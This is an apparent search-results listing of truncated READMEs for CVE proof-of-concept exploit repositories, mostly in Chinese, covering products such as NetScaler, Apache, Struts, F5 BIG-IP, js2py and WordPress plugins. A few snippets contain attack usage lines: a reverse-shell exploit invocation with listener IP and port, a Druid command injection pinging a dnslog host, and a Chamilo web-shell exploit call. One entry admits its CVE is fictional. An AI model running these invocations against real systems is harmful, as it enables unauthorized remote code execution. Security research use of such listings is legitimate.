1001531 matches found
CVE-2025-7775-PoC
CVE-2025-7775 | NetScaler ADC RCE PoC root@kitploit: ⚠️ 免责声明：本内容仅为教育目的而构建的假设性PoC。请隔离NetScaler网络，CVE-2025-7775并不存在。仅在隔离实验室中使用。 概述 针对Citrix NetScaler ADC/Gateway中假设的未授权RCE的模拟利用。专为内部检测验证和应急响应演练培训设计。 实验室要求 root@kitploit: 隔离网络 已授权的NetScaler VPX实例（实验室用途） Python 3.x 使用方法 root@kitploit: git clone...
CVE-2023-4220
使用Web Shell对Chamilo LMS CVE-2023-4220进行远程代码执行 本项目自动利用Chamilo LMS中的远程代码执行漏洞（CVE-2023-4220）。通过Web Shell，该工具可自动化利用该漏洞，从而控制受影响的Chamilo LMS实例。 功能： 自动化利用CVE-2023-4220 Web Shell集成 演示漏洞的影响 用法/示例 root@kitploit: ./exploit.py -t http://example.com 截图 免责声明： 此工具仅用于教育目的，并帮助安全专业人员理解和缓解漏洞。未经许可擅自用于系统是非法且不道德的。 🔗 链...
CVE-2021-41773
CVE-2021-41773 — PoC: 路径穿越 + 基于 modcgi 的 RCE 仅限在受控且自有的环境中使用。未经授权不得针对任何系统使用。 描述 本 PoC 用于演示和理解 CVE-2021-41773 漏洞，该漏洞存在于 Apache HTTP Server 2.4.49 中。 该缺陷位于 apnormalizepath 函数中，该函数未正确验证 URL 编码的字符。攻击者可以通过编码后的字符序列（例如使用 %2e%2e%2f 代替 ../）绕过 DocumentRoot 限制，从而读取系统中的任意文件。 当 modcgi 模块启用时，该漏洞可升级为 RCE（远程代码执行）...
my-CVE-2021-1675
= Print Nightmare 分析报告 :imagesdir: Figures :toc: :icons: font :figure-caption: 图 :xrefstyle: short :pdf-theme: basic-theme.yml 2021 年 6 月 29 日，一个非常严重的 Windows 打印服务漏洞作为 0day 被曝光，漏洞基础评分 8.8 分，发布于 GitHub 上（现已删除）。 该漏洞就是著名的 PrintNightmare: CVE-2021-34527，危险程度甚至高于永恒之蓝。 == 漏洞基本信息 34527 漏洞几乎作用于 Windows...
CVE-2025-22963
概述 Teedy 版本 = v1.11 中的跨站请求伪造（CSRF）漏洞允许远程攻击者强制当前已认证的终端用户更改其在 Web 应用程序中的个人信息（用户名、密码等）。 漏洞 用户信息更改端点为 /api/user/:username。 该端点仅检查 Cookie 中的 authtoken 以进行授权。 authtoken 值可在其他源网站中使用。 root@kitploit: POST /api/user/admin HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...
CVE-2022-1388-rs
CVE-2022-1388-rs Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust Summary To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerability: Connection header must include X-F5-Auth-Token...
CVE-2025-1337-PoC
CVE-2025-1337 的 PoC 针对 LogServ v1.2 服务中远程代码执行（RCE）漏洞的概念验证。 漏洞详情 CVE: CVE-2025-1337 软件: LogServ v1.2 类型: 对 sessiondata cookie 中会话对象的不安全反序列化 影响: 未经身份验证的攻击者可发送恶意 cookie 以在服务器上执行任意代码。 状态 该脚本可运行但不稳定。请勿在真实环境中使用。...
CVE-2024-28397-RCE
CVE-2024-28397 RCE 脚本 默认使用反向 shell 载荷，并允许可选命令参数 该利用程序适用于 js2py = v0.74 要求 Python 3.x requests 库（pip install requests） Netcat 监听器（用于反向 shell） 使用示例 反向 shell： root@kitploit: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 自定义命令： root@kitploit: python exploit.py...
CVE-2024-38063
CVE-2024-38063 - 通过IPv6远程利用内核 自从8月13日发布最新的Windows补丁以来，我一直深入研究tcpip.sys（负责处理TCP/IP数据包的内核驱动程序）。一个CVSS评分高达9.8的漏洞出现在Windows内核最容易触及的部分，我实在无法错过。我以前从未真正研究过IPv6（或负责解析它的驱动程序），所以我知道逆向分析这个漏洞将极具挑战性，但也是一次很好的学习体验。 史上最简单的补丁分析...
spring-shell-vuln
spring-shell-vuln Spring4Shell: Spring core RCE vulnerability Spring has Confirmed the RCE in Spring Framework. The team has just published the statement along with the mitigation guides for the issue. Now, this vulnerability can be tracked as CVE-2022-22965. Some information about the Spring4She...
CVE-2020-0688
Identify Exchange Servers vulnerable to CVE-2020-0688 CVE-2020-0688 is a critical vulnerability in Microsoft Exchange due to use of static keys. Although exploitation requires valid credentials at an email user level and the risk of mass-exploitation is low, this vulnerability might be very usefu...
https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 该脚本提供了 CVE-2024-21413 的概念验证（PoC），这是 Microsoft Outlook 中发现的一个严重安全漏洞，CVSS 评分为 9.8。该漏洞被称为 MonikerLink 漏洞，影响深远，包括潜在的本地 NTLM 信息泄露和远程代码执行的可能性。此外，它突显了一种可能绕过 Office 受保护视图的攻击向量，从而将威胁扩展到其他 Office 应用程序。 🚀 用法 请负责任地使用此工具，并确保您已获得目标系统所有者的授权。该脚本需要 SMTP...
CVE-2026-15095
The Product Feed Manager for WooCommerce – CTX Feed – Support 220+ Shopping & Social Channels plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.6.43 via the 'provider' parameter. This makes it possible for authenticated attackers, with shop...
CVE-2026-25253
CVE-2026-25253 OpenClaw 一键RCE ★ CVE-2026-25253 OpenClaw 一键远程代码执行 PoC ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e 描述 CVE-2026-25253：OpenClaw 认证令牌泄露漏洞 OpenClaw（又称 clawdbot 或 Moltbot）在 v2026.1.29 之前，攻击者可通过向 Control UI 提供精心构造的 gatewayUrl...
CVE-2022-44877-CWP7
CVE-2022-44877-CWP7 Control Web Panel 7 CWP7 远程代码执行 RCE CVE-2022-44877 未授权 仓库将很快更新POC。...
CVE-2024-43160
Wordpress BerqWP = 1.7.6 - 未授权任意文件上传 CVE-2024-43160 BerqWP – 用于核心网页指标、缓存、CDN、图片、CSS 和 JavaScript 的自动化全合一 PageSpeed 优化插件存在任意文件上传漏洞，原因是在 /api/storewebp.php 文件中缺少文件类型验证，影响所有版本直至并包括 1.7.6。这使得未认证的攻击者能够在受影响站点的服务器上上传任意文件，从而可能导致远程代码执行。 如需更多 WordPress 漏洞利用及独家漏洞，请通过 Telegram 联系我 @KtN1990。 使用 运行此漏洞利用程序需要...
CVE-2017-5638-PoC
CVE-2017-5638 Apache Struts 2 远程代码执行概念验证 本仓库包含一个概念验证（PoC）脚本，用于演示 Apache Struts 2 中标识为 CVE-2017-5638 的远程代码执行（RCE）漏洞。 漏洞详情 CVE ID: CVE-2017-5638 受影响软件： Apache Struts 2 版本 2.3.32 之前及 2.5.10.1 之前的版本 漏洞类型： 远程代码执行 攻击向量： 远程，通过精心构造的 Content-Type HTTP 标头 描述 文件上传请求中处理 Content-Type 标头时的错误允许攻击者执行任意 OGNL...
CVE-2021-25646
Apache Druid 远程代码执行 CVE-2021-25646 by j2ekim 使用方法 root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" 漏洞复现文章 https://www.adminxe.com/2109.html 使用需知 由于传播、利用此工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。...
CVE-2023-45185
CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - Remote code execution via insecure deserialisation. Timeline Vulnerability reported to vendor: 22.09.2023 New fixed 1.1.9.4 version released: 08.12.2023 Public disclosure: 15.12.2023 Description IBM i Access Client Solutions uses insecure...